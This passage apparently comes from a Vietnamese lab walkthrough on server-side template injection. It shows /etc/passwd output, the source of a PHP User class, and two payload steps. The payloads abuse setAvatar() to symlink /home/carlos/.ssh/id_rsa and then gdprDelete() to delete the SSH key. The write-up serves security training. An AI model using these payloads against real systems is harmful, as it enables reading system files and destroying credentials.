colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false

Hint

Đọc mã nguồn của /home/carlos/User.php.

Mã nguồn của /home/carlos/User.php:

<?php
 
class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;
 
    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";
 
        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }
 
    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }
 
        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }
 
        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }
 
    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }
 
    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }
 
    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}
 
?>

Ngoài setAvatar(), chúng ta đã xác định được ba hàm khác cùng với một số thuộc tính:

  • delete(): ghi đè nội dung của tệp disabled bằng một chuỗi rỗng, thực chất là xóa nội dung của nó.
  • gdprDelete(): xóa tệp liên kết đến tệp avatar cũng như tệp avatar bằng cách gọi rm() và sau đó gọi delete().
  • rm(): được sử dụng để xóa tệp và nó là một hàm riêng tư.

Rõ ràng, chúng ta sẽ sử dụng gdprDelete().

Để khai thác, chúng ta sẽ thực hiện các bước sau:

  1. Sử dụng user.setAvatar('/home/carlos/.ssh/id_rsa', 'image/png') làm payload SSTI để liên kết ~/.ssh/id_rsa với tệp avatar (thông qua hàm symlink()).
  2. Sử dụng user.gdprDelete() để xóa tệp liên kết đến tệp avatar (tệp ~/.ssh/id_rsa) cũng như tệp avatar.